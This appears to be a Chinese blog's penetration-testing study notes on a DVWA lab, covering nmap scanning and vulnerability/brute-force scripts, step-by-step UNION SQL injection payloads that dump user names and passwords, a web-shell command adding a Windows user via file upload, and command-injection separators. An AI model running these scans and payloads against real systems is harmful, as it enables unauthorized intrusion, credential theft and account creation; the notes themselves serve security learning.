安全攻防笔记

一、 端口扫描技术:Nmap

TCP/IP:可靠性链接,三次握手
UDP::不可靠连接,eg:视频直播、游戏。
在这里插入图片描述

(一)nmap扫描语法:nmap +命令+地址

  • -sn:主机发现,扫描网段内主机 nmap -sn 10.10.8.0/24
    注意:扫描结果中的SERVICE为端口默认使用的服务类型。
  • -sS:半开放扫描(非3次握手的tcp扫描),TCP SYN扫描,使用频率最高。
    在第二步即可知是否为TCP扫描。
    优点:
    1)效率高
    2)日志无记录
  • -sT:3次握手方式tcp的扫描,默认扫描方式
  • -sU:udp端口的扫描
  • -sV:端口实际使用服务扫描+版本测试
    nmap -sSV 10.10.8.82
    扫描结果中的SERVICE为端口实际使用的服务类型。
  • -vv:显示扫描过程
    nmap –vv -sSV 10.10.8.82
    -sSV为核心参数
  • –top-ports 100 使用频率最高的前100个端口,默认为1000
  • -p 21,80.445 指定端口扫描
  • -p 0-65535 指定端口范围扫描 = -p- 全端口扫描
    nmap 10.10.8.82 = nmap –sT –-top-ports 1000 –T3
    –T3为 响应时间参数
  • -O:操作系统扫描
  • -A:终极扫描,扫描所有。
  • -oX:扫描结果输出为xml格式文件
    nmap -oX 1.xml 10.10.8.82
  • -oN:扫描结果输出为txt格式文件
  • -oG:扫描结果输出为gnmap格式文件
  • -oA:扫描结果输出为三种格式的文件
  • -iL:输入文件
    nmap –iL 1.txt 10.10.8.82
    优化扫描:
  • -n:不进行DNS查询
  • –open:只显示开放端口
  • -T4:优化时间控制(默认为T3)
  • – min-rate:设置最小的发包速度(取决于带宽)

nmap -vv -O -sSUV --top-ports 1000 -n -T4 --open -Pn -oA 192.168.38.139 --min-rate 10000 192.168.38.139
扫描效果:
详细的结果显示
操作系统识别
top1000端口扫描及指纹识别(包含TCP和UDP)
不查询DNS
优化响应时间
只显示开放端口
禁PING
输出三种格式(xml,grepable,nmap),文件名为192.168.38.139
扫描速度10K

(二)扩展:使用nmap脚本进行漏洞渗透

在扫描时可根据需要设置–script=类别这种方式进行扫描。
漏洞检测:

  • nmap –sS –p 445 –script=vuln 192.168.1.12
    445 :打印机端口
    vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如MS08_067。
    暴力破解:
  • nmap –sU –p 161 –script=brute 10.10.8.82
    brute: 提供暴力破解方式,针对常见的应用如http/snmp/数据库登录等

二、 WEB漏洞

(一) 代码注入

启动phpstudy,在火狐浏览器下输入10.10.8.82/DVWA

  1. 调节安全等级—low、middle、high等
  2. 使用Burp
    在数据库中–,#为注释。
    phpstudy—>其他选项菜单—>MySQL工具—>MySQL命令行
    进行mysql语句测试。

不知用户名和密码的情况:
select * from user where user = ‘ ‘ or 1=1 limit 1 # ‘ and password=’ ‘;
limit 1: 只输入1个

  • use dvwa 进入库dvwa
  • use information_schema 该数据库有所有数据库、表信息
  • union 联合查询
  • order by 2 排序,通过第2个字段进行排序。
    *用于判断查询的字段数。

代码注入步骤:

语句:select first_name,last_name from users where user_id-‘1’
低等难度

1) 判断语句中注入点是否有’’。

user_id=’1’ user_id=1
1 and 1=1# 1 and1=0#
有引号 有数据 有数据
无引号 无数据 无数据

2) 判断位数

order by

3) 判断显示位置

1 ’ union select 1 , 2#

4) 查询表名

1 ‘ union select table_name,2 from information_schema.tables where table_schema =’dvwa’ #

5) 查询表的字段

1 ’ union select column_name,2 from information_schema.columns where table_name=’users’ #

6) 查询用户名和密码

1’ union select user,password from users#

中等难度

4)查询表名,针对‘’被转译的情况

1 ‘ union select table_name,2 from information_schema.tables where table_schema =database() #

5)查询表的字段

法一: 十六进制(HexIncoder),使用火狐算出表名对应的十六进制,ox+十六进制
法二:
1 ’ union select column_name,2 from information_schema.columns where table_name=(select table_name,2 from information_schema.tables where table_schema =database() limit 1,1) #
第二行,取一个

(二) 文件上传 File Upload

  • cmd=system(“net user”) 显示用户
    方法一: 增加用户
    cmd=system(“net user aaa /add”) 增加用户aaa
    方法二: 中国菜刀,可直接查看文件,并进行文件上传。

(三) 命令注入Comand Injection

在ping命令中注入多条命令
&&、&、;、||、&等实现多条命令执行。
id&&whoami
id;whoami

猜你喜欢

转载自blog.csdn.net/u013389798/article/details/84672626